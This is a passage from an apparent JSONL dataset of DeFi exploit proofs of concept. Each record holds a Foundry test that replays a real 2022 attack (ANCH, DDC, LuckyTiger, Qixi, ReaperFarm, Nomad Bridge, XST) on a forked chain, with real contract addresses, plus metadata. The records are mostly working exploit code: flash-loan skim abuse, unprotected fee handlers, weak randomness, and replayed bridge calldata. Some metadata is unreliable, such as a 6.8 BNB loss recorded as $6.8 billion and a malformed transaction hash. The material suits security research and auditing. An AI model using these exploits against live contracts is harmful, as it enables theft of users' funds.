Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n address dodo = 0xDa26Dd3c1B917Fbf733226e9e71189ABb4919E3f;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 20_302_534);\n }\n\n function testExploit() public {\n USDT.approve(address(Router), type(uint256).max);\n ANCH.approve(address(Router), type(uint256).max);\n DVM(dodo).flashLoan(0, 50_000 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n // get ANCH\n buyANCH();\n // call skim to add ANCH amount\n ANCH.transfer(address(Pair), ANCH.balanceOf(address(this)));\n for (uint256 index = 0; index < 60; index++) {\n Pair.skim(address(Pair));\n }\n Pair.skim(address(this));\n // sell ANCH\n sellANCH();\n USDT.transfer(dodo, 50_000 * 1e18);\n }\n\n function buyANCH() internal {\n address[] memory path = new address[](2);\n path[0] = address(USDT);\n path[1] = address(ANCH);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n USDT.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function sellANCH() internal {\n address[] memory path = new address[](2);\n path[0] = address(ANCH);\n path[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n ANCH.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "ANCH", "date": "2022-08", "file_name": "ANCH_exp.sol", "attack_vector": "flash_loan", "content_hash": "3cab9284c277846c", "collected_at": "2026-01-07T10:59:16.545914", "_source": "postmortems", "chain": "bsc", "block_number": 20302534, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n USDT.approve(address(Router), type(uint256).max);\n ANCH.approve(address(Router), type(uint256).max);\n DVM(dodo).flashLoan(0, 50_000 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.18, "quality_estimate": "low", "title": "ANCH Exploit (2022-08)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\n//import \"./../interface.sol\";\n\ninterface CheatCodes {\n function createSelectFork(string calldata, uint256) external returns (uint256);\n}\n\ninterface IERC20 {\n function balanceOf(\n address owner\n ) external view returns (uint256);\n function approve(address spender, uint256 value) external returns (bool);\n function transfer(address to, uint256 value) external returns (bool);\n}\n\ninterface ITokenAFeeHandler is IERC20 {\n function handleDeductFee(uint8 actionType, uint256 feeAmount, address from, address user) external;\n}\n\ninterface IRouter {\n function swapExactTokensForTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface IPair {\n function sync() external;\n}\n\ncontract ContractTest is Test {\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IRouter TargetRouter = IRouter(0x22Dc25866BB53c52BAfA6cB80570FC83FC7dd125);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n ITokenAFeeHandler DDC = ITokenAFeeHandler(0x443195AA3a4357242a7427Fc8ce5f20c1E71fcB1);\n IPair TargetPair = IPair(0x4EFdcabA42cC31cF5198ec99BDC025aff1e32Bb0);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 20_840_079);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Start] Attacker USDT balance before exploit\", USDT.balanceOf(address(this)), 18);\n\n address(WBNB).call{value: 0.1 ether}(\"\");\n BuyDDC();\n uint256 pairReserve = DDC.balanceOf(address(TargetPair));\n uint256 amount = pairReserve - 1;\n DDC.handleDeductFee(0, amount, address(TargetPair), address(this));\n TargetPair.sync();\n SellDDC();\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function BuyDDC() public {\n WBNB.approve(address(TargetRouter), ~uint256(0));\n address[] memory path = new address[](3);\n path[0] = address(WBNB);\n path[1] = address(USDT);\n path[2] = address(DDC);\n TargetRouter.swapExactTokensForTokens(WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp);\n DDC.approve(address(TargetRouter), ~uint256(0));\n }\n\n function SellDDC() public {\n address[] memory path = new address[](2);\n path[0] = address(DDC);\n path[1] = address(USDT);\n TargetRouter.swapExactTokensForTokens(DDC.balanceOf(address(this)), 0, path, address(this), block.timestamp);\n }\n}\n", "type": "exploit_poc", "protocol": "DDC", "date": "2022-08", "file_name": "DDC_exp.sol", "attack_vector": null, "content_hash": "5b2edaf9ad7e6276", "collected_at": "2026-01-07T10:59:16.545960", "_source": "postmortems", "chain": "unknown", "block_number": 20840079, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.47, "quality_estimate": "low", "title": "DDC Exploit (2022-08)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\n\n/*\n Attacker: 0x3392c91403f09ad3b7e7243dbd4441436c7f443c\n Attack tx: https://etherscan.io/tx/0x804ff3801542bff435a5d733f4d8a93a535d73d0de0f843fd979756a7eab26af\n poc refers to: https://github.com/0xNezha/luckyHack\n*/\n\ninterface NFT {\n function balanceOf(\n address _owner\n ) external view returns (uint256 balance);\n}\n\ncontract luckyHack is Test {\n event Log(string);\n\n address owner = address(this);\n address nftAddress = 0x9c87A5726e98F2f404cdd8ac8968E9b2C80C0967;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 15_403_430); // fork mainnet block number 15403430\n vm.deal(address(this), 3 ether);\n vm.deal(address(nftAddress), 5 ether);\n }\n\n function getRandom() public view returns (uint256) {\n if (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % 2 == 0) {\n return 0;\n } else {\n return 1;\n }\n }\n\n function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {\n return this.onERC721Received.selector;\n }\n\n function testExploit() public {\n vm.warp(1_661_351_167);\n console.log(\"getRandom\", getRandom());\n\n uint256 amount = 10;\n\n if (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % 2 == 0) {\n revert(\"Not lucky\");\n }\n bytes memory data = abi.encodeWithSignature(\"publicMint()\");\n\n for (uint256 i = 0; i < amount; ++i) {\n (bool status,) = address(nftAddress).call{value: 0.01 ether}(data);\n if (!status) {\n revert(\"error\");\n } else {\n emit Log(\"success\");\n }\n }\n\n console.log(\"NFT we got:\", NFT(nftAddress).balanceOf(address(this)));\n }\n\n function getBalance() external view returns (uint256) {\n return address(this).balance;\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "LuckyTiger", "date": "2022-08", "file_name": "LuckyTiger_exp.sol", "attack_vector": null, "content_hash": "ea4a3374aa48e473", "collected_at": "2026-01-07T10:59:16.546003", "_source": "postmortems", "chain": "ethereum", "block_number": 15403430, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0x804ff3801542bff435a5d733f4d8a93a535d73d0de0f843fd979756a7eab26af", "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n vm.warp(1_661_351_167);\n console.log(\"getRandom\", getRandom());\n\n uint256 amount = 10;\n\n if (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % 2 == 0) {\n revert(\"Not lucky\");\n }\n bytes memory data = abi.encodeWithSignature(\"publicMint()\");\n\n for (uint256 i = 0; i < amount; ++i) {\n (bool status,) = address(nftAddress).call{value: 0.01 ether}(data);\n if (!status) {\n revert(\"error\");\n } else {\n emit Log(\"success\");\n }\n }\n\n console.log(\"NFT we got:\", NFT(nftAddress).balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.02, "quality_estimate": "low", "title": "LuckyTiger Exploit (2022-08)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~6.8 BNB\n// TX : https://app.blocksec.com/explorer/tx/bsc/0x16be4fe1c8fcab578fcb999cbc40885ba0d4ba9f3782a67bd215fb56dc579062\n// Attacker : https://bscscan.com/address/0x2723e1f6a9a3cd003fd395cc46882e4573cb249f\n// Attack Contract : https://bscscan.com/address/0xb7b0fe129fefa222efd4eb1f6bef9de339339bbb\n// GUY : https://x.com/8olidity/status/1555366421693345792\n\ncontract Exploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IPancakePair Pair = IPancakePair(0x88fF4f62A75733C0f5afe58672121568a680DE84);\n IERC20 qixi = IERC20(0x65F11B2de17c4af7A8f70858D6CcB63AAC215697);\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 20_120_884);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker WBNB before exploit\", WBNB.balanceOf(address(this)), 18);\n Pair.swap(0, WBNB.balanceOf(address(Pair)) - 1e7, address(this), bytes(\"0x123\"));\n emit log_named_decimal_uint(\"[End] Attacker WBNB after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n qixi.transfer(address(Pair), 999_999_999_999_999e18);\n }\n}\n", "type": "exploit_poc", "protocol": "Qixi", "date": "2022-08", "file_name": "Qixi_exp.sol", "attack_vector": null, "content_hash": "b71792bd12984393", "collected_at": "2026-01-07T10:59:16.546045", "_source": "postmortems", "chain": "bsc", "block_number": 20120884, "total_lost_raw": "~6.8 BNB", "total_lost_usd": 6800000000.0, "attacker_address": "https://bscscan.com/address/0x2723e1f6a9a3cd003fd395cc46882e4573cb249f", "attack_contract": "https://bscscan.com/address/0xb7b0fe129fefa222efd4eb1f6bef9de339339bbb", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "critical", "severity_raw": "~6.8 BNB", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "https://bscscan.com/address/0x2723e1f6a9a3cd003fd395cc46882e4573cb249f", "keyinfo_attack_contract": "https://bscscan.com/address/0xb7b0fe129fefa222efd4eb1f6bef9de339339bbb", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$6800.00M", "content_richness_score": 2.71, "quality_estimate": "low", "title": "Qixi Exploit (2022-08)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~1.7M US$\n// Attacker : 0x5636e55e4a72299a0f194c001841e2ce75bb527a (ReaperFarm Exploiter 1 - who trigger the exploit)\n// Attacker : 0x2c177d20b1b1d68cc85d3215904a7bb6629ca954 (ReaperFarm Exploiter 2 - who receive the fund)\n// AttackContract : 0x8162a5e187128565ace634e76fdd083cb04d0145\n// VulnerableContract : https://ftmscan.com/address/0xcdA5deA176F2dF95082f4daDb96255Bdb2bc7C7D#code#F1#L324 (rfUSDC)\n\n// @Info\n// Example Tx in this reproduce : https://ftmscan.com/tx/0xc92ls9f3b9312ff26be0adb1c3ff832dbdafdcbcaad33d002744effd515e53c9d5\n// Owner 1 : 0x59cb9f088806e511157a6c92b293e5574531022a\n// Owner 2 : 0xc010adc2c28a66fbb2107993bf6ede264eca8e54\n// Owner 3 : 0x37eedb7ac276bd6c894e81b8937b0b0bab154e22\n// Owner 4 : 0x8034aaff3980487a49ca69341d444fcc000088af\n// Owner 5 : 0x9e6affa8a14174ca4e931a2d6b7056c41b9beeb6\n\n// @Analysis\n// Official post-mortem : https://twitter.com/Reaper_Farm/status/1554500909740302337\n// Beosin : https://twitter.com/BeosinAlert/status/1554476940593340421\n\ncontract Attacker is Test {\n CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IReaperVaultV2 constant ReaperVault = IReaperVaultV2(0xcdA5deA176F2dF95082f4daDb96255Bdb2bc7C7D);\n IERC20 constant USDC = IERC20(0x04068DA6C83AFCFA0e13ba15A6696662335D5B75);\n\n function setUp() public {\n console.log(\"This is a simple PoC that shows how attacker abuse the ReaperVaultV2 contract\");\n cheat.createSelectFork(\"fantom\", 44_045_899);\n cheat.label(address(ReaperVault), \"ReaperVault\");\n cheat.label(address(USDC), \"USDC\");\n }\n\n function testExploit() public {\n address victim = 0x59cb9F088806E511157A6c92B293E5574531022A;\n emit log_named_decimal_uint(\"Victim ReaperUSDCVault balance\", ReaperVault.balanceOf(victim), 6);\n emit log_named_decimal_uint(\"Attacker USDC balance\", USDC.balanceOf(address(this)), 6);\n\n console.log(\"Exploit...\");\n uint256 victim_bal = ReaperVault.balanceOf(victim);\n ReaperVault.redeem(victim_bal, address(this), victim);\n\n emit log_named_decimal_uint(\"Victim ReaperUSDCVault balance\", ReaperVault.balanceOf(victim), 6);\n emit log_named_decimal_uint(\"Attacker USDC balance\", USDC.balanceOf(address(this)), 6);\n }\n}\n\ninterface IReaperVaultV2 {\n function balanceOf(\n address owner\n ) external view returns (uint256);\n function redeem(uint256 shares, address receiver, address owner) external returns (uint256 assets);\n}\n", "type": "exploit_poc", "protocol": "ReaperFarm", "date": "2022-08", "file_name": "ReaperFarm_exp.sol", "attack_vector": null, "content_hash": "591aaa3a64b96251", "collected_at": "2026-01-07T10:59:16.546086", "_source": "postmortems", "chain": "fantom", "block_number": 44045899, "total_lost_raw": "~1.7M US$", "total_lost_usd": 1700000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": "https://twitter.com/Reaper_Farm/status/1554500909740302337", "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "~1.7M US$", "category": "unknown", "exploit_code": "function testExploit() public {\n address victim = 0x59cb9F088806E511157A6c92B293E5574531022A;\n emit log_named_decimal_uint(\"Victim ReaperUSDCVault balance\", ReaperVault.balanceOf(victim), 6);\n emit log_named_decimal_uint(\"Attacker USDC balance\", USDC.balanceOf(address(this)), 6);\n\n console.log(\"Exploit...\");\n uint256 victim_bal = ReaperVault.balanceOf(victim);\n ReaperVault.redeem(victim_bal, address(this), victim);\n\n emit log_named_decimal_uint(\"Victim ReaperUSDCVault balance\", ReaperVault.balanceOf(victim), 6);\n emit log_named_decimal_uint(\"Attacker USDC balance\", USDC.balanceOf(address(this)), 6);\n }\n}\n\ninterface IReaperVaultV2 {", "has_exploit_code": true, "keyinfo_total_lost": "~1.7M US$", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1.70M", "content_richness_score": 5.31, "quality_estimate": "medium", "title": "ReaperFarm Exploit (2022-08)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~152M US$\n// Attacker(s) : \u2620\ud83d\ude08\ud83d\udc7d\ud83e\udd16\ud83d\udc35\ud83c\udf1d\ud83e\udd37\u200d\u2642\ufe0f\n// Replica contract mistakenly initialize : 0x53fd92771d2084a9bf39a6477015ef53b7f116c79d98a21be723d06d79024cad\n// Example TXs in this reproduce\n// Attacker send 0.01 WBTC to NomadBridge : 0xed26708a7335116bdb0673f32ace7c2f329fe3cd349e200447210f1721f335f0\n// NomadBridge Process 100 WBTC to Attacker : 0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460\n\n// @Info\n// Nomad BridgeRouter Contract : https://etherscan.io/address/0x88a69b4e698a4b090df6cf5bd7b2d47325ad30a3#code (Proxy)\n// Nomad BridgeRouter Contract : https://etherscan.io/address/0x15fda9f60310d09fea54e3c99d1197dff5107248#code (Logic)\n// Nomad Replica Contract : https://etherscan.io/address/0x5d94309e5a0090b165fa4181519701637b6daeba#code (Proxy)\n// Nomad Replica Contract : https://etherscan.io/address/0xb92336759618f55bd0f8313bd843604592e27bd8#code (Logic) (Vulnerable!!)\n// WBTC Contract : https://etherscan.io/token/0x2260fac5e5542a773aa44fbcfedf7c193bc2c599#code\n// NomadBridge Audit Report : https://github.com/nomad-xyz/docs/blob/1ff0c55dba2a842c811468c57793ff9a6542ef0f/docs/public/Nomad-Audit.pdf (QSP-19 Proving With An Empty Leaf)\n\n// @Analysis\n// samczsun : https://twitter.com/samczsun/status/1554252024723546112\n// ParadigmEng420 : https://twitter.com/paradigmeng420/status/1554249610574450688\n// 0xfoobar : https://twitter.com/0xfoobar/status/1554269062653411334\n// CertiK : https://twitter.com/CertiKAlert/status/1554305088037978113\n// Beosin : https://twitter.com/BeosinAlert/status/1554303803218083842\n// Blocksec : https://twitter.com/BlockSecTeam/status/1554335271964987395\n// CertiK post-mortem : https://www.certik.com/resources/blog/28fMavD63CpZJOKOjb9DX3-nomad-bridge-exploit-incident-analysis\n\nCheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\nIReplica constant Replica = IReplica(0x5D94309E5a0090b165FA4181519701637B6DAEBA);\nIERC20 constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);\n\ncontract Attacker is Test {\n function setUp() public {\n cheat.createSelectFork(\"mainnet\", 15_259_100);\n cheat.label(address(Replica), \"Replica\");\n cheat.label(address(WBTC), \"WBTC\");\n }\n\n function testExploit() public {\n console.log(\n \"Attackers can copy the original user's transaction calldata and replacing the receive address with a personal one.\"\n );\n console.log(\"We mock how attackers/whitehats replay the calldata at block 15259100\\n\"); // Txhash : 0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460\n\n emit log_named_decimal_uint(\"Attacker WBTC Balance\", WBTC.balanceOf(address(this)), 8);\n console.log(\"Attacker claim 100 WBTC from NomadBridge...\");\n\n // Copy inputdata in txhash(0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460), but replacing receive address\n bytes memory msgP1 =\n hex\"6265616d000000000000000000000000d3dfd3ede74e0dcebc1aa685e151332857efce2d000013d60065746800000000000000000000000088a69b4e698a4b090df6cf5bd7b2d47325ad30a3006574680000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59903000000000000000000000000\";\n bytes memory recvAddr = abi.encodePacked(address(this));\n bytes memory msgP2 =\n hex\"00000000000000000000000000000000000000000000000000000002540be400e6e85ded018819209cfb948d074cb65de145734b5b0852e4a5db25cac2b8c39a\";\n bytes memory _message = bytes.concat(msgP1, recvAddr, msgP2);\n\n // This is _message data structure :\n /*\n bytes memory chainId = \"beam\"; // hex(6265616d) == dec(1650811245), Ref: https://docs.nomad.xyz/developers/environments/domain-chain-ids\n bytes memory sender = hex\"D3dfD3eDe74E0DCEBC1AA685e151332857efCe2d\";\n bytes memory nonce = hex\"13d6\"; // == dec\"5078\"\n bytes memory localDomain = hex\"657468\"; // == str\"eth\"\n bytes memory recipientAddress = hex\"88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3\"; // BridgeRouter address. this will callback BridgeRouter.handle(_message)\n ------------ __message that call BridgeRouter.handle(__message) ------------\n uint32 _domain = 657468; // == str(\"eth\")\n bytes32 _id = abi.encodePacked(address(WBTC));\n bytes32 _to = abi.encodePacked(address(this));\n uint256 _amnt = 100 * 1e8; // 100 WBTC\n bytes32 _detailsHash = keccak256(abi.encodePacked(bytes(\"Wrapped BTC\").length, \"Wrapped BTC\", bytes(\"WBTC\").length, \"WBTC\", uint8(8))); \n bytes29 _tokenId = BridgeMessage.formatTokenId(_domain, _id);\n bytes29 _action = BridgeMessage.formatTransfer(_to, _amnt, _detailsHash);\n bytes memory __message = BridgeMessage.formatMessage(_tokenId, _action);\n -----------------------------------------------------------------------------\n bytes memory _message = bytes.concat(chainId, sender, nonce, localDomain, recipientAddress, __message);\n */\n\n bool suc = Replica.process(_message);\n require(suc, \"Exploit failed\");\n\n emit log_named_decimal_uint(\"Attacker WBTC Balance\", WBTC.balanceOf(address(this)), 8);\n }\n}\n\ninterface IReplica {\n function process(\n bytes memory _message\n ) external returns (bool _success);\n}\n", "type": "exploit_poc", "protocol": "NomadBridge", "date": "2022-08", "file_name": "NomadBridge_exp.sol", "attack_vector": null, "content_hash": "6d18e0ae0f31569b", "collected_at": "2026-01-07T10:59:16.546167", "_source": "postmortems", "chain": "ethereum", "block_number": 15259100, "total_lost_raw": "~152M US$", "total_lost_usd": 152000000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": "https://www.certik.com/resources/blog/28fMavD63CpZJOKOjb9DX3-nomad-bridge-exploit-incident-analysis", "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "~152M US$", "category": "unknown", "exploit_code": "function testExploit() public {\n console.log(\n \"Attackers can copy the original user's transaction calldata and replacing the receive address with a personal one.\"\n );\n console.log(\"We mock how attackers/whitehats replay the calldata at block 15259100\\n\"); // Txhash : 0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460\n\n emit log_named_decimal_uint(\"Attacker WBTC Balance\", WBTC.balanceOf(address(this)), 8);\n console.log(\"Attacker claim 100 WBTC from NomadBridge...\");\n\n // Copy inputdata in txhash(0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460), but replacing receive address\n bytes memory msgP1 =\n hex\"6265616d000000000000000000000000d3dfd3ede74e0dcebc1aa685e151332857efce2d000013d60065746800000000000000000000000088a69b4e698a4b090df6cf5bd7b2d47325ad30a3006574680000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59903000000000000000000000000\";\n bytes memory recvAddr = abi.encodePacked(address(this));\n bytes memory msgP2 =\n hex\"00000000000000000000000000000000000000000000000000000002540be400e6e85ded018819209cfb948d074cb65de145734b5b0852e4a5db25cac2b8c39a\";\n bytes memory _message = bytes.concat(msgP1, recvAddr, msgP2);\n\n // This is _message data structure :\n /*\n bytes memory chainId = \"beam\"; // hex(6265616d) == dec(1650811245), Ref: https://docs.nomad.xyz/developers/environments/domain-chain-ids\n bytes memory sender = hex\"D3dfD3eDe74E0DCEBC1AA685e151332857efCe2d\";\n bytes memory nonce = hex\"13d6\"; // == dec\"5078\"\n bytes memory localDomain = hex\"657468\"; // == str\"eth\"\n bytes memory recipientAddress = hex\"88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3\"; // BridgeRouter address. this will callback BridgeRouter.handle(_message)\n ------------ __message that call BridgeRouter.handle(__message) ------------\n uint32 _domain = 657468; // == str(\"eth\")\n bytes32 _id = abi.encodePacked(address(WBTC));\n bytes32 _to = abi.encodePacked(address(this));\n uint256 _amnt = 100 * 1e8; // 100 WBTC\n bytes32 _detailsHash = keccak256(abi.encodePacked(bytes(\"Wrapped BTC\").length, \"Wrapped BTC\", bytes(\"WBTC\").length, \"WBTC\", uint8(8))); \n bytes29 _tokenId = BridgeMessage.formatTokenId(_domain, _id);\n bytes29 _action = BridgeMessage.formatTransfer(_to, _amnt, _detailsHash);\n bytes memory __message = BridgeMessage.formatMessage(_tokenId, _action);\n -----------------------------------------------------------------------------\n bytes memory _message = bytes.concat(chainId, sender, nonce, localDomain, recipientAddress, __message);\n */\n\n bool suc = Replica.process(_message);\n require(suc, \"Exploit failed\");\n\n emit log_named_decimal_uint(\"Attacker WBTC Balance\", WBTC.balanceOf(address(this)), 8);\n }\n}\n\ninterface IReplica {", "has_exploit_code": true, "keyinfo_total_lost": "~152M US$", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$152.00M", "content_richness_score": 6.73, "quality_estimate": "medium", "title": "NomadBridge Exploit (2022-08)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// Pool1: UniswapV2 WETH/USDT\n// Pool2: UniswapV2 WETH/XST\n// https://tools.blocksec.com/tx/eth/0x873f7c77d5489c1990f701e9bb312c103c5ebcdcf0a472db726730814bfd55f3\n\ncontract XSTExpTest is Test {\n address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address constant UniswapV20x694f = 0x694f8F9E0ec188f528d6354fdd0e47DcA79B6f2C;\n address constant XST = 0x91383A15C391c142b80045D8b4730C1c37ac0378;\n address constant XStable2 = 0xb276647E70CB3b81a1cA302Cf8DE280fF0cE5799;\n address constant UniswapV20x0d4a = 0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852;\n address constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;\n CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheat.createSelectFork(\"mainnet\", 15_310_016);\n }\n\n function testExploit() public {\n uint256 balance = IERC20(WETH).balanceOf(UniswapV20x694f);\n IUniswapV2Pair(UniswapV20x0d4a).swap(balance * 2, 0, address(this), \"0000\");\n uint256 WETHBalance = IERC20(WETH).balanceOf(address(this));\n console.log(\"now my weth num: %s\", WETHBalance / 1e18);\n IERC20(WETH).withdraw(WETHBalance);\n }\n\n function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {\n if (keccak256(data) == keccak256(\"0000\")) {\n uint256 balance = IERC20(WETH).balanceOf(address(this));\n IERC20(WETH).transfer(UniswapV20x694f, balance);\n uint256 uniswapETHBalance = IERC20(WETH).balanceOf(UniswapV20x694f);\n (uint256 amount0Out, uint256 amount1Out,) = Uni_Pair_V2(UniswapV20x694f).getReserves();\n console.log(\"Reserve amount %s\", amount0Out);\n uint256 borrowXST = amount0Out * balance / uniswapETHBalance;\n console.log(\"Swap xst %s\", borrowXST);\n Uni_Pair_V2(UniswapV20x694f).swap(borrowXST, 0, address(this), \"00\");\n Uni_Pair_V2(UniswapV20x694f).sync();\n uint256 b1 = IERC20(XST).balanceOf(address(this));\n uint256 b2 = IERC20(XST).balanceOf(UniswapV20x694f);\n console.log(\"My xst balance: %s, uniswp xst: %s\", b1, b2);\n IERC20(XST).transfer(UniswapV20x694f, b1 / 8);\n for (uint8 i = 0; i < 15; ++i) {\n Uni_Pair_V2(UniswapV20x694f).skim(UniswapV20x694f);\n }\n Refund(amount0);\n } else {\n // do nothing\n }\n }\n\n function Refund(\n uint256 amount\n ) internal {\n Uni_Pair_V2(UniswapV20x694f).skim(address(this));\n uint256 nowXSTBalance = IERC20(XST).balanceOf(address(this));\n IERC20(XST).transfer(UniswapV20x694f, nowXSTBalance);\n (uint256 a0Out, uint256 a1Out,) = Uni_Pair_V2(UniswapV20x694f).getReserves();\n uint256 swapAmount = a1Out * 9 / 10;\n Uni_Pair_V2(UniswapV20x694f).swap(0, 